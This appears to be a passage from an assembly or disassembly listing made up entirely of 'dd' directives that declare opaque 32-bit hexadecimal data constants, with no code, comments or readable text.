		dd 64B53CE4h, 332B3215h, 17773763h, 6142CCF2h, 0C97C826Dh
		dd 0C6321293h, 51F2C1A8h, 0C4E61574h, 2382CA41h, 9E078AD1h
		dd 4B028156h, 0F1F281A8h, 0BF9266A2h, 0AA0775F7h, 0A849556Bh
		dd 0F59F7C6Dh, 717BAE55h, 686739B9h, 791FB34Ah,	0CD41F657h
		dd 113AFCEEh, 0BDE30159h, 5BC16895h, 0E00D72C0h, 0CD54688Fh
		dd 0A41050BDh, 1EDFBA9Ah, 37F79821h, 8A57FF1Ah,	1D79FDB1h
		dd 0ECB22573h, 33C1A10h, 34ABF0FDh, 1E2D7BE5h, 335208E7h
		dd 0E825DB2Bh, 0EFF297DCh, 0CED0D33Eh, 7EBF4EC6h, 0ECE527CDh
		dd 6645E814h, 86C89667h, 0E698DFA4h, 0E4FF412Dh, 993B8C2Dh
		dd 231F50Ch, 0D0252914h, 3DA7698Eh, 53E49CE1h, 1B7E51E4h
		dd 552286Ah, 5BE8C730h,	2342D076h, 6DBD23ACh, 0D2DDDDF5h
		dd 786F307h, 4A15E22Ah,	32482733h, 22724955h, 0EF11E30h
		dd 0E279559Eh, 0F2EC662Dh, 0EE034993h, 74E031D8h, 613D22FFh
		dd 2636168Bh, 7926656Ah, 78F9E55Fh, 815D466Fh, 0AA64FACFh
		dd 0BE02C052h, 460F8088h, 0B2AA41E4h, 0C6723E2Dh, 3A035C03h
		dd 0FE90E8EFh, 2D0B0477h, 0BAF7F76Bh, 0BF0681BCh, 0FB66E5A2h
		dd 6A25BFF3h, 57343CFh,	74E3E72Bh, 54425580h, 0B770EA81h
		dd 6F365A3Dh, 8DFB31C9h, 78D1F37Dh, 0B7172BC4h,	799BAFCh
		dd 976E0A05h, 0F60AFE5Bh, 4D293931h, 52AC2042h,	862B7F4Dh
		dd 5339F15Fh, 83C31B28h, 463590B8h, 33403A34h, 0CE093D39h
		dd 9BD83EE1h, 0E9AD977Ah, 355D5E3Ah, 2B2419ECh,	5702BA0Ah
		dd 467C26EBh, 5C291B73h, 0A0EF2AC1h, 0F7BECFBh,	8EC84D36h
		dd 72B0635Bh, 98C22DFFh, 8FE247A0h, 22D07744h, 62203051h
		dd 63A5C3AFh, 0FF5CA34Bh, 5D918026h, 4409B335h,	83778CB2h
		dd 9F9C5AF2h, 75DBA361h, 0D1C80D4Fh, 9DA6A93Fh,	8C6B3B89h
		dd 2CC3C5BEh, 0B95800D7h, 0EB3614D8h, 37FFF626h, 8C75BC09h
		dd 0A0DD673h, 0F4CC3F20h, 0C0C5B1AEh, 67DE4FABh, 0DBFBEA9Ch
		dd 6DEB716Fh, 2C1F6E9Ch, 0BBD02843h, 47A271A5h,	86DED567h
		dd 0BA39E417h, 88E5DF37h, 1DBE20FBh, 1E9CC0Dh, 7124F6h
		dd 0D075AF5Fh, 25CE3759h, 31480AA7h, 0B1360E99h, 80E012A9h
		dd 819C1FF2h, 3954CE48h, 0E12E06EEh, 8C382DF8h,	5080AC4Eh
		dd 0DCCAF189h, 2D7281B7h, 8D4DAC84h, 0A478FDD3h, 0A6EAFD6h
		dd 0C963322h, 0F8DC9DC3h, 965FB862h, 0A1B4B066h, 0F44D8B2Ah
		dd 0F83C266Eh, 3483332Ah, 8B26313h, 0D963A524h,	3A887525h
		dd 0C20EC23Ch, 58F0B4E1h, 9D5CB847h, 1CDB6606h,	37959181h
		dd 57A9DB84h, 8F8E4EE6h, 0A90B7BEAh, 0BD18FFD7h, 0E27B4E02h
		dd 3155B870h, 7F90C915h, 0F5B23DC6h, 1A4B382Bh,	8FA4F83Fh
		dd 0E6707575h, 0EFE7DBE1h, 0E6CC3105h, 52749B16h, 82A9448h
		dd 6A8180DAh, 1C1867F3h, 7DDF2F46h, 0A2B170EFh,	4A642DAh
		dd 0A3CC09B0h, 0C322E77Eh, 0B3B0943Dh, 0E9FC6299h, 0DDB6746Fh
		dd 0D6060C56h, 43CC759Eh
		dd 9CAA97DDh, 61FCF3E4h, 4F383476h, 2AE8C9D8h, 65945AC1h
		dd 53C430A2h, 4A25D825h, 6213B16h, 0F7033CBBh, 25D93CBAh
		dd 0C76EB555h, 0EEFB389Ah, 7BF195ACh, 9224BD66h, 39C9E2A9h
		dd 0F374CCADh, 0E3CE1EC2h, 0B683AC12h, 0D41DCEA7h, 36DA4646h
		dd 2DEEAEA7h, 2FEC71CEh, 1BD117FDh, 0A08DEC2Ah,	2959A604h
		dd 3DC8A6E9h, 270E28C9h, 8C95446Eh, 17187382h, 1C79592Fh
		dd 0DAEBF341h, 8BFB1DA7h, 2B3D0633h, 8914784Fh,	292394AEh
		dd 45AB9161h, 0DD9C8D68h, 0C8CC5548h, 0F9BFFD4Dh, 0A6D216DBh
		dd 50C578B6h, 0B07F4ACCh, 0FB70FF00h, 0D7C9C44Dh, 57F3133Ch
		dd 0F61380Ch, 72D5CFE7h, 7A48E209h, 8B590ABEh, 12D7965Eh
		dd 0E48B691Fh, 576F1B20h, 1414A249h, 21F71C64h,	0ABFE83B7h
		dd 84F9DE92h, 0D1B997AAh, 0AA6F7D2Ah, 0E4C8FCF9h, 1448C146h
		dd 0D872BF9Eh, 6FA009E6h, 10E6B9C5h, 9F900D82h,	52C03C83h
		dd 0D59581DBh, 0E8BD4220h, 0AE66AED4h, 5B46F242h, 8130EEA1h
		dd 64300267h, 0F80BF50Bh, 0D2679EA0h, 4E0C6358h, 23D14C9Ch
		dd 0D283FB70h, 179A2753h, 0D0942CB9h, 16CD2BC0h, 8953E9F6h
		dd 30316655h, 0DA04C197h, 21596A5Fh, 0FBC4F786h, 207C6581h
		dd 0F8F7589Ch, 0CAB6AE22h, 90F4D324h, 77FE08Dh,	8B003C84h
		dd 9910F625h, 2B1157DFh, 73B74E5Eh, 0CD345453h,	9ED9BF04h
		dd 8F6D0D6Eh, 66D988F6h, 99069E61h, 0E3F79E83h,	7EEC0FB1h
		dd 60D7AD71h, 0C295CF74h, 0C3AB338Fh, 0B9F0B402h, 3F7FE83Dh
		dd 0BA0AA1DFh, 3001BF69h, 8F7233CCh, 86646101h,	0D0EF41C8h
		dd 766E1C9Fh, 45D58CEEh, 0AD47C315h, 0AFD965B2h, 8C0B70C0h
		dd 11FAC384h, 7FDE0685h, 0A3764A1Fh, 9A2F90C7h,	1D9BFF2h
		dd 20BC548Bh, 8A2165C4h, 9C580013h, 0FB3330B7h,	4ED24832h
		dd 37B2B7B3h, 7BA8EA6Ch, 536B348Ch, 0EA1481Ch, 2DEDEAB6h
		dd 0EB70AC8Dh, 0B6BFF1F3h, 7BB32A0Fh, 5EE52FCBh, 63D1DE4Ah
		dd 0E2F39DC8h, 7316B348h, 9A346E9h, 37FEAA75h, 0FABD3749h
		dd 9C42D39Ch, 0A1A38051h, 6E83B16Ch, 0C4B1047Dh, 55C1DBABh
		dd 11CB36A5h, 69009670h, 0A057361Bh, 5DFFED83h,	212F3076h
		dd 0B904837Dh, 61B01DDFh, 1374EDB4h, 0D9D0FF6Bh, 18873293h
		dd 0BD5D6EE2h, 49B25ECBh, 60055B94h, 0BB3D2A31h, 1C361BB5h
		dd 129218DFh, 0C797AC00h, 0E70CD9E1h, 0DDA32865h, 86D7BABh
		dd 5B618E5Fh, 0E63E36F2h, 55AA4FB9h, 0E75F8977h, 0C956F5BBh
		dd 39B85516h, 73176458h, 3E4CC649h, 0D949BAB5h,	9444A461h
		dd 0AF1C1B6Eh, 489FA307h, 69A2D601h, 0CE96F2A3h, 0A403877h
		dd 24001D39h, 358F6365h, 7984288Bh, 41F14043h, 7094B619h
		dd 9C92D948h, 293C9614h, 0E417850Fh, 4353643Ch,	0EA4F9754h
		dd 0BE7AEFA1h, 1DF71E0Fh, 8B8DF2C9h, 3DBCD7BBh,	0C7514957h
		dd 0D705C2ABh, 120AC93Fh, 83053961h, 865DAF00h,	0B9510FB2h
		dd 1872B8BDh, 408787F5h, 209786D0h, 9C88C957h, 0EC54C07Bh
		dd 0C10D4B74h, 0B505F579h, 98318FA5h, 240BA719h, 1EDC8DA4h
		dd 9459D9B9h, 98871E5Ah, 0EFD65944h, 0C84FA83h,	0ABBB9C9Ah
		dd 0ABDFE9F7h, 423CA3F2h, 0EECC7906h, 0CB15E2E0h, 0D7214ED8h
		dd 0E796942Bh, 8D38FAEEh, 2D15817Fh, 0C04AE87h,	2DA4167Bh
		dd 0B520472h, 0EDF440Fh, 2B466488h, 7A8A9D29h, 0E06B7892h
		dd 1D01D4A9h, 99D0E418h, 0CC02B4F4h, 40D8A30Eh,	0EAB2125Dh
		dd 15A23774h, 6FF1569Eh, 55C4C05h, 0A89F0B0Fh, 2FF25B16h
		dd 0CC452554h, 31FA6FFCh, 3A0A45DBh, 8BC8C697h,	0D695452Bh
		dd 56154A97h, 0EB4FA5AAh, 3F5BE634h, 26EED5ECh,	0D8669440h
		dd 5DBEDBB6h, 0C0B2305Fh, 53DFB136h, 0E26D7B4Dh, 0A2AEE158h
		dd 7A5A94C5h, 597D38C4h, 3FCEC1E2h, 0CCDDFC9Fh,	36153DAFh
		dd 7AD08AEBh, 0D1615756h, 405CDA4Eh, 4A438BFDh,	66130B5Eh
		dd 0A8DF5D4h, 586BD0DCh, 4B37D561h, 1955F96Dh, 0BEFE428Fh
		dd 447690A0h, 48A926BFh, 6BA39353h, 1409F1A0h, 0E93AA827h
		dd 6B3573Bh, 0F9433090h, 0CF593F7Bh, 0AA632C90h, 6BDD4F20h
		dd 0F6AFEBEDh, 0B1670012h, 0F83CF757h, 383DA876h, 43B577EEh
		dd 9A548C5h, 972D2E51h,	21AA0FEBh, 0A5747E29h, 14693EB2h
		dd 4254449Dh, 48A89247h, 12F68D1h, 35A23960h, 350311DAh
		dd 0F218F38Eh, 6737C41Fh, 86BF2A20h, 0C8C03E42h, 0E8A22F31h
		dd 8CC81D4Fh, 82547600h, 894F3899h, 4FCFEDA7h, 5F9C198h
		dd 4C19344Eh, 0D9E9F3E6h, 53DEEF20h, 0DFCC5DA6h, 0BD2C40B6h
		dd 83200204h, 67D5534h,	7D16FB97h, 5AB5B76Eh, 9AA55527h
		dd 0DD6A8C60h, 4B719E27h, 928E7B07h, 57F9CA54h,	0E83733BFh
		dd 3F2780C8h, 0B7C10FE9h, 0A70B6634h, 876B20C3h, 53F0EDA2h
		dd 2D4548BCh, 2F0C366Dh, 57A6F5C0h, 0B8B716A3h,	0A8808ABFh
		dd 2A5C3433h, 0E74C441Ah, 963F71E0h, 5C4C60CBh,	988322CCh
		dd 0D16C80AAh, 6B815CFBh, 526316AAh, 48D4E130h,	1FC9F40Ch
		dd 2AEC9AF5h, 0DD536316h, 0F8785415h, 22870EFDh, 6A85D573h
		dd 8761591Fh, 7639C1F5h, 280F7719h, 0CC008D63h,	9E4EC2A5h
		dd 5E2E3507h, 284595ECh, 0E3078BE7h, 5B49C876h,	258F0B9Ah
		dd 9EDD56DDh, 3FBC2D45h, 54CA8769h, 0B46DD265h,	3BE77212h
		dd 68B643CFh, 33360485h, 6DA70857h, 0CE320934h,	0EABE5B41h
		dd 7C2991E7h, 7BA2481h,	6115B622h, 0C82028F5h, 2C559CF5h
		dd 99477760h, 349AFFCBh, 592AC2CEh, 0C6123DE1h,	0C87504Eh
		dd 5480610Ch, 43B2CD07h, 5ADFEE1h, 0D69E88ACh, 0E2483E8Ch
		dd 52D13A00h, 6FF6E0B7h, 81666EB2h, 2412B6F6h, 53E71A5Dh
		dd 369B4690h, 64F397A4h, 869C3908h, 8BEE8E81h, 0D5FD9D57h
		dd 7FBFE2Ch, 8C04AFE4h,	0A8AB20C3h, 33364BBCh, 30306E7Eh
		dd 4499C4C7h, 9DC13171h, 9FABCC8Ch, 0B3CAA190h,	641A6343h
		dd 7315A42Ch, 27D234F3h, 89E07EB4h, 8B35A01Fh, 93E5CA8Fh
		dd 5F5A7268h, 0A6B1B459h, 2BB786D6h, 0BB92CC93h, 862D38D8h
		dd 70592EA6h, 3E722153h, 0E56C72D2h, 0BD453326h, 0AF00C574h
		dd 25217A99h, 1152F88Bh, 834D75C2h, 9638F3C5h, 9E51C94Bh
		dd 5EF23Fh, 95A2F91Fh, 75105CA4h, 9113D090h, 9A1E918Ch
		dd 0E9E6F671h, 31BE59A2h, 65957A18h, 6F96E96Bh,	0E5B6DD1Ch
		dd 7F458BF4h, 291C48h, 9B14D6D8h, 8039629h, 0B7C9BE50h
		dd 3435AEBEh, 4B63F02Ah, 0C24E2DF6h, 0F6C52607h, 0B3F99BCBh
		dd 0E11CC0CFh, 6755ED54h, 215E540Fh, 0A54D9D73h, 372CEDFFh
		dd 0F7CB33B1h, 0EB4F53B5h, 0F3ADB272h, 0FBE26B9Eh, 0B997B0D7h
		dd 0B48CA299h, 263F54A9h, 50DFFC85h, 50AE27FCh,	3ADA91ABh
		dd 349178BCh, 0F09A4DFEh, 8CC7D679h, 2DABA5FCh,	0F6306B88h
		dd 51A7060h, 0A69E383Bh, 635D51B2h, 0C6DD38F8h,	0CB92CF9Ch
		dd 9201210Fh, 685D33D3h, 158E5319h, 61B7D1F3h, 0FCE11269h
		dd 72EE99A7h, 82F34151h, 115385C7h, 0DE443374h,	0A9E37B75h
		dd 0CFDBD112h, 5F88ADC0h, 0FA333531h, 0CCE1CEA4h, 0D65BEA05h
		dd 0A11F994Fh, 7B065DE6h, 54475E9Fh, 24D2B574h,	0EB1D6941h
		dd 32BDE559h, 0B3264F97h, 155BE828h, 8F80E572h,	0A3468E5Bh
		dd 1740A2CAh, 0B2178860h, 5A0CC6CAh, 0E70D0221h, 2B060AB6h
		dd 0ED57B296h, 9F201744h, 0E6F504DCh, 0C18E46ECh, 4D34AAB7h
		dd 2A684C2Eh, 55A6EE8Eh, 31A8EA6Eh, 0AD702D45h,	838ADB29h
		dd 0D229DC08h, 1B628DB0h, 5F14359Eh, 0CD5A0A61h, 0B429B4C5h
		dd 994746A0h, 6423AF4Eh
		dd 0B671C6D7h, 62C52E81h, 0B974DC8h, 0A9044B42h, 4A23A20Ah
		dd 0C0FFF6E3h, 97748677h, 427DC038h, 2AB1A995h,	580356Dh
		dd 0D9C04678h, 0A0619A9Ch, 4A27727h, 28D5075Fh,	0A5D036BBh
		dd 827DB245h, 0EEFDB495h, 702ABA52h, 0BBC64C7Fh, 0A6364C26h
		dd 817C3849h, 0CCC66309h, 0E3801C3Dh, 4682369Fh, 0C2B7151Fh
		dd 6F749ED0h, 27FE0244h, 0ACBD97E9h, 0B629F22Dh, 26BD9724h
		dd 603DB9B6h, 7F1CFE75h, 0FF6B3EE2h, 7C969B08h,	0A97A23D5h
		dd 9F32D73Ch, 8247D7D4h, 60C3F86Ah, 0DBA50325h,	2443C732h
		dd 7528D6F0h, 219441B9h, 0B9F31A39h, 173B327Ch,	0C9828824h
		dd 18988471h, 0DEC054E0h, 0B41ABB83h, 0D285A52h, 91EEE16Fh
		dd 67C0077Bh, 9E1D16B4h, 95051534h, 441CB458h, 0FFEB22FEh
		dd 0FF638481h, 72CF8FE9h, 8322C31Bh, 0A6C8F5Eh,	0D6D1F21h
		dd 8CAE1478h, 41EDC8C2h, 0ECC7CCCFh, 0ACB31D7Dh, 0E763E428h
		dd 794AE168h, 536B60Dh,	0AF4937A3h, 0E47C7825h,	15700859h
		dd 0CD83BCAh, 627C4119h, 35EEA585h, 9C90E7B7h, 0EF6878D4h
		dd 0BFBB461h, 0B7C37403h, 0EAF3D05h, 0F35EFB68h, 97429448h
		dd 0EAE0259Ch, 6AFBAB7Ah, 50398376h, 9ECDD08Dh,	47298183h
		dd 6E7DD9E9h, 5BA076B8h, 0BC20EBF9h, 625019A9h,	0E8D91CBCh
		dd 0D68E711Dh, 9A5F86A4h, 5C3A7C1Dh, 5CC4BF46h,	8CDBF001h
		dd 7B196Eh, 4121019h, 0E43731C2h, 0DF27852Ch, 74BD8040h
		dd 0C561FD60h, 71F3F5CAh, 85C617h, 0E2FED82Fh, 0D4EEAA2Dh
		dd 5673479Ch, 0FCABFDFCh, 0BFF1EE95h, 0E9B7C413h, 0BC50B6A8h
		dd 4FDDB488h, 0B58412B6h, 104EB029h, 0DB0EC4EBh, 76F98702h
		dd 93BAF77Bh, 9778A985h, 0A1E301C1h, 264D7A14h,	0B306A14Eh
		dd 0AF00A9E7h, 0FB006881h, 1073651Fh, 401DF29h,	0D1BA6AE5h
		dd 0BF0D23E4h, 0DCB77B7Eh, 0E24F936h, 2954E46Dh, 6754F9BCh
		dd 0E9D65CF1h, 43C1BD04h, 46D44528h, 2ACDC115h,	158453D1h
		dd 0ACFB22A4h, 0C7C1EEDBh, 0BAF3AD30h, 0FAC8B605h, 90836877h
		dd 8D39A58Fh, 967349ACh, 0CFF8C2CDh, 38532B63h,	0BB95344Fh
		dd 27CAD6F1h, 398F4336h, 86DF24A9h, 821EC1EDh, 0B024A958h
		dd 403E5EF8h, 172CF44h,	0D2753D5Bh, 0F8BEFF68h,	0D838B9Fh
		dd 5DFA5452h, 0FE3A001Fh, 2D3AD59Fh, 0EC4F2B70h, 0DE598492h
		dd 9516EFFDh, 54347A07h, 0AD528E3Fh, 2D3C160Eh,	2B92C692h
		dd 0F037DCFBh, 0DB88BEB0h, 8F0AE3FAh, 0AA8FA976h, 5DC9EDC4h
		dd 0DCF42F80h, 0E2F409Eh, 69FCF1F5h, 5683D0D0h,	0B64AD103h
		dd 3195D807h, 0A1C17346h, 2495E018h, 0FF2C7911h, 62FD66A5h
		dd 0FC0DDC69h, 89664225h, 51AEA4FAh, 6ADB1509h,	9656BC0Fh
		dd 8D8DF3F3h, 8DDD2278h, 95F9DE9Ch, 61D302DFh, 92478408h
		dd 0CD5C8955h, 0E3F640ACh, 97F2FC9Dh, 401AA69Eh, 48238227h
		dd 3179C3F8h, 1901A2D3h, 0CDAF12E9h, 656D7E36h,	84A78977h
		dd 4AB9A0B5h, 3E7B1966h, 34CC095h, 324D3EBDh, 5A01641Ch
		dd 0F52BF2FCh, 50674CF8h, 2079F926h, 3A0DC2D3h,	2E351F1h
		dd 0B4D36B9h, 0E7500CF8h, 3E430805h, 4103CDD3h,	4EFA693Eh
		dd 0DDDCC2D8h, 0E4BCFB4Ah, 263B0755h, 949F97CEh, 45274AB3h
		dd 42DD24C5h, 0FBEEFE7Ah, 13FCA78h, 410FD374h, 3EE30C18h
		dd 0A20153E3h, 0CF5C998Eh, 0A5B9C1E5h, 58D3B709h, 0AA2BCB5h
		dd 384597A1h, 80721054h, 0BD7A4E7h, 44167ACCh, 28B10818h
		dd 787710B2h, 34974A39h, 4D02A321h, 809C6CB4h, 0FD2041DBh
		dd 5A143075h, 21BA7282h, 1B873ADBh, 2E1C4A19h, 1C3ACFEh
		dd 6F0F9EA8h, 29578735h, 0D3C36359h, 2830ADBDh,	0A81A7887h
		dd 0AED5F0C1h, 0D6D7106Dh, 9A389F94h, 1A58AF07h, 0E15FA1E9h
		dd 9C8AC4EAh, 0A30FFAB1h, 0A4C7DA64h, 55386D83h, 68B33EE4h
		dd 0CC146FC4h, 8EEC41CBh, 0AD8E75CEh, 0D186C97Bh, 602CF5A8h
		dd 0AEF81C3h, 0FCEA47EFh, 0C61E62B9h, 2BA32995h, 2AC19BD6h
		dd 0EDD2EAF4h, 0AF841C97h, 0FAFh, 242B353Eh, 478DACF5h
		dd 454187C3h, 0E2497A50h, 0C9D07351h, 87669D3Bh, 92061092h
		dd 1B00CCF5h, 82062D33h, 0CDA5E3FEh, 0D2ED6EC0h, 321D9F46h
		dd 0B6FB9E93h, 57502C57h, 0C177CEA1h, 283779EFh, 0C67C696Dh
		dd 0D00A006h, 767650F1h, 0D33D67D8h, 54CB621Bh,	4A526519h
		dd 0D5723CDFh, 0F3C9FC8Eh, 71EFC7CEh, 9B8A210Bh, 935CE1E0h
		dd 0A8A845FEh, 471A710Dh, 0E5957CCh, 776D2DE4h,	9FF26FE7h
		dd 0BDF24DE3h, 0AAA5B09Ch, 97BEA19h, 70575515h,	6ACE60BDh
		dd 0E784CE8Ah, 8ED59C3Ah, 2F525075h, 0E96CCB24h, 0CAEF177Eh
		dd 0DF601D22h, 0BE0D4C1Eh, 0A8B42540h, 0E7584008h, 685DC853h
		dd 0CFAF49D5h, 5FD16112h, 0EF036130h, 0C04B9B93h, 83EC4B42h
		dd 0EBC4F81Dh, 2C16A69Dh, 0C42816F9h, 8948A703h, 0EC5E46D9h
		dd 0E83686C9h, 9954C18h, 5EC25524h, 0EA3F160Fh,	9757E637h
		dd 0F26CF2EAh, 96268900h, 845BB404h, 0E9E234D9h, 0E22404Dh
		dd 8FB756B8h, 0D377CF2h, 0E1CAFD6Bh, 0CB72EE00h, 29C950D6h
		dd 60970829h, 47572958h, 8239BAE4h, 9B8CEBE8h, 0B199D361h
		dd 6D5C65E4h, 298308ADh, 0D1AB8802h, 42C37642h,	731F9280h
		dd 558DBA04h, 0C8FDF222h, 0E2ECA32Ch, 6DC1F2EAh, 249549BDh
		dd 26E632FEh, 0AA9F7A86h, 0E1912444h, 8A05091Dh, 3B160A3Ah
		dd 9765B711h, 39D93417h, 0BBDB1260h, 0B4461AF0h, 0A15179A5h
		dd 40A5B23Fh, 0C71D97B6h, 0B9D4D391h, 0C9EEC7C8h, 40BECB22h
		dd 924DA8F6h, 561BA883h, 958E358Fh, 19AC50F6h, 4658F9D0h
		dd 0F2D4B698h, 44175687h, 8E0F50B2h, 0B94664B4h, 0C9E8DD7Eh
		dd 4A754B98h, 7E65051Dh, 11EA482Dh, 8DB574A5h, 85FE1207h
		dd 256E079Bh, 371323BFh, 3182D46Fh, 0F20A8B5Ch,	0C98AB2E2h
		dd 6416BBD9h, 0BD1408BAh, 3598963Ah, 15FB0C38h,	0E4A5CDAFh
		dd 86DF0166h, 1A21CBDh,	0D7700710h, 9DF3D256h, 0DD227AFAh
		dd 0D251A0ADh, 0AE79B0E2h, 0F3547F19h, 0EA00FB44h, 2C1E2E58h
		dd 7E184390h, 44487072h, 3D288836h, 76FC7C9Ch, 2B11C126h
		dd 4B39E84Eh, 117C6CA6h, 0F9A4D08Eh, 0F8645590h, 0DA92BD2Dh
		dd 0A8163FDCh, 37D6F913h, 411E31CCh, 2AFB7906h,	0BFB12CB9h
		dd 76E03731h, 0EF1EC9B8h, 0C35FA36Ah, 0EB270BA7h, 4C7BC29Dh
		dd 1E0A33CCh, 0FE89DED9h, 209F0F3Dh, 6AE3B7FAh,	7ABE3FCCh
		dd 0D47B8621h, 93D871FFh, 0EE0E33B8h, 6BA4B3ABh, 0D343EB6Bh
		dd 0A240272Bh, 3C8DD4C6h, 5A7A7BB2h, 0A269F130h, 0B8D4F5B3h
		dd 8C468EAEh, 1D58EA80h, 2AACCE2Eh, 44CFD60Dh, 0B3C30AD9h
		dd 95718D85h, 75348838h, 32B6FD26h, 48698EB5h, 2FA259D5h
		dd 0AB1B54D4h, 0F2DD1707h, 43DBC432h, 0B38CC081h, 0B4C1DE05h
		dd 78F63354h, 6099043Ah, 0CE4FE511h, 0DEA95252h, 6C6FA50Fh
		dd 0D6805CE1h, 614A32F8h, 0D053A50h, 7103D17Bh,	0E3827BD6h
		dd 0DAAF21E7h, 7C8CFEB3h, 164677D5h, 24E4E8FFh,	49E7108Fh
		dd 0BDC5CF86h, 0B9F34060h, 0B18D526Fh, 107C411Eh, 1D5A7175h
		dd 0E749D4C9h, 2C8DF593h, 5F2CA80Fh, 0F1FEF1DDh, 117DF88Fh
		dd 54EA45AAh, 0A478E76h, 0C848AB3Bh, 79C7F249h,	5BC6C5E5h
		dd 0EC68991h, 25E4E6E8h, 501587BEh, 0A9AB9C91h,	0BF5BF70Ah
		dd 3F145D69h, 51B18F42h, 33720913h, 146138E8h, 4DC454C3h
		dd 611191D9h, 9326D2Ch,	0C026D37Ch, 1CE70540h, 0CA3A7546h
		dd 39DE14A8h, 131CED17h, 0BF00013Ch, 1AC0B669h,	0A8D002B0h
		dd 0D5250A57h, 0DB062705h
		dd 1D5F45E8h, 0A83C035Ah, 2BD998C0h, 4AC44F8Eh,	9A8E49EEh
		dd 8AB5F2A9h, 4ECF9ADCh, 2BDFACFBh, 536F0711h, 803DD4Bh
		dd 0EA041C54h, 0DC1932BDh, 5E6EFDC4h, 1864DB03h, 0C4438F9Fh
		dd 5D41B5A8h, 29AF9D6Ch, 0F3B14Ch, 5BA28080h, 6B0854CEh
		dd 0D0CDFFD6h, 0CDA1233Eh, 1BD85C56h, 75017957h, 12970234h
		dd 0D0884C14h, 490BA6BEh, 0EC826687h, 0F862920h, 2F4C38DBh
		dd 0F50328EFh, 4440486Dh, 484CDFF1h, 0F3A176Ch,	0E36131Fh
		dd 0D330657Ah, 0B92B1CB0h, 0BB576E42h, 14A24A14h, 214F7666h
		dd 8F2950BCh, 21B70607h, 64A0B73h, 9D3D3787h, 2EB12BB5h
		dd 88EEF4F9h, 5774CB26h, 54AF2D2Ah, 755587E5h, 5BA7F82Dh
		dd 0C766A145h, 6194C0Ah, 28C8127Bh, 95AC1973h, 5EADD7C1h
		dd 24496DAh, 0B8FB5FF6h, 47A495EDh, 0FF539AC2h,	0C1A11C1Fh
		dd 5604CACh, 89276EC4h,	7A23B14Dh, 70205621h, 541451BAh
		dd 0B33BDB1Bh, 0E4688377h, 6CF881A3h, 0C168280h, 0BF5A0DC5h
		dd 240B4067h, 0B632C51Fh, 42CDD24h, 0EE84696h, 1ED9DC71h
		dd 997CC8CBh, 0D1E5C83Ah, 7FABCFFh, 46B71B97h, 0A50B6811h
		dd 2F41C4F3h, 0D8907ED5h, 0F2D84624h, 13E6FE18h, 61C231E1h
		dd 0E6129442h, 0FCE508BEh, 2722C846h, 8EA46ECBh, 0EC7EABCBh
		dd 9949760Bh, 0E5CBB08Fh, 0B0246784h, 98982A32h, 0FB752D7h
		dd 95160F4Fh, 70A0D46Eh, 42310DDEh, 0DCBEC8DBh,	501BB5F9h
		dd 0BFDF5CB5h, 0AC82EC8Bh, 87EB0CEBh, 726DC23h,	201E925Bh
		dd 0A080406Dh, 224574D0h, 7A6100A7h, 0FE332705h, 0B6DC6EB3h
		dd 0C47799C7h, 0F06A2E48h, 62E8CE17h, 97C425A5h, 3BF1E7F2h
		dd 50E2AA93h, 38421EF4h, 0C1875197h, 0D065549Ch, 6A2B3A57h
		dd 0F8E79867h, 808436A1h, 0F1E7316Fh, 28A6D3C5h, 0C1C67397h
		dd 0B4A47792h, 0E33CA322h, 2A6EA79Ch, 6BE229F4h, 0B5E427B0h
		dd 75364F93h, 0CC94158h, 709B2ACCh, 4FCDECDBh, 0A4969AD0h
		dd 423571FCh, 0D1F8EEA0h, 0E248E307h, 4F8F92EDh, 0F17A5670h
		dd 0A823CC9Dh, 646E1707h, 3004BC6Eh, 6DC002F6h,	3F2E899Eh
		dd 231F70CDh, 227527B7h, 44C461A8h, 0B8F32C29h,	0EDFF32E6h
		dd 0FCC8943Ch, 959B1776h, 0FB5276Bh, 7297D6C8h,	0FE885458h
		dd 0E3B08396h, 6AA2CD26h, 2693F174h, 16966937h,	0CA7E0533h
		dd 0AE8C9C28h, 0F135B18Dh, 4D189E6Bh, 0FFE34587h, 0BA298792h
		dd 0A7566D9Eh, 38FBB05Ch, 0C9498C0Dh, 5E794783h, 5AB4E656h
		dd 2E5853E3h, 87E28BB0h, 6528085Fh, 39C78FCBh, 205B04C9h
		dd 0F58058C8h, 0DCACFA8h, 7C8A5337h, 66C6064h, 0F9AA0ADh
		dd 995048AEh, 0C090F3CFh, 21ECC88Ah, 0FA083F7Eh, 6467C42Ah
		dd 23C3E87h, 4BEFD20Dh,	0BED0C708h, 371B2E6Ch, 1820DD3Ch
		dd 0DC116A2h, 80665489h, 6E42B50Bh, 0BF5B1CC5h,	3F93DD25h
		dd 2934B163h, 0CAAC7730h, 902E5866h, 4F302F1Ah,	165778A7h
		dd 14081C94h, 0D2BAFDA1h, 435AA37Fh, 672FB669h,	5A63B7F6h
		dd 0B580F739h, 148139C0h, 97A0CA83h, 0C731677h,	64213D1Eh
		dd 0F7DE55E8h, 636DB047h, 6283A0CCh, 8E0B41Fh, 0E5DCC1E4h
		dd 0C2C7291Ah, 0F0030A7Fh, 46953F33h, 196AFF08h, 59C95B8Dh
		dd 0D65732D3h, 20B0CB9Ch, 3700F301h, 94F5C5B3h,	4D030282h
		dd 7FB78EA0h, 1F080C73h, 3F72824Dh, 2CAE7055h, 0E74D7126h
		dd 34581811h, 2611F3ADh, 41D15A6Eh, 33B507DAh, 0A3CABE58h
		dd 0A41BF1A4h, 91869538h, 573AA1CFh, 0D3E1AD9h,	2AC602D7h
		dd 9E00631h, 0E759BA06h, 6F86C99Bh, 8503D68h, 0D2DB42D5h
		dd 3DABF948h, 45A73DB6h, 74A5F516h, 50F12C47h, 9D2D8B33h
		dd 7282B9FEh, 7F5A5A40h, 0B9F1AFEEh, 0F47049A4h, 27C22811h
		dd 0E03A7BE5h, 2225383h, 0BF028BF7h, 0A031983Ah, 4206975Bh
		dd 686FC079h, 3653BCh, 40516AD7h, 0DA300AB8h, 6AEFE636h
		dd 660DF690h, 7175CA72h, 22F69055h, 7AA95D55h, 0B116741Dh
		dd 205C1DB3h, 0CCF3AEB5h, 0F22AA6BFh, 0B3126CE2h, 0D6178861h
		dd 0B01261BCh, 0C35B2181h, 0B329FD71h, 7EB5DA2Eh, 43474C89h
		dd 4FB32BFFh, 0FB55F2D3h, 0AFBCD753h, 13922D4Bh, 0D6571CE0h
		dd 56AA1E25h, 81323127h, 6CE6747Bh, 0A70F38E7h,	0ACE7F8F4h
		dd 44A9DE6Fh, 0E8F55ACh, 0DDC8C2B6h, 0A8378A46h, 6A3F693Fh
		dd 9AFF03EAh, 656E080Ah, 0FC737C16h, 0A6850A37h, 5D957777h
		dd 2725162h, 63A272C7h,	0C8FC8D41h, 732B2CAFh, 0E5A7752Ah
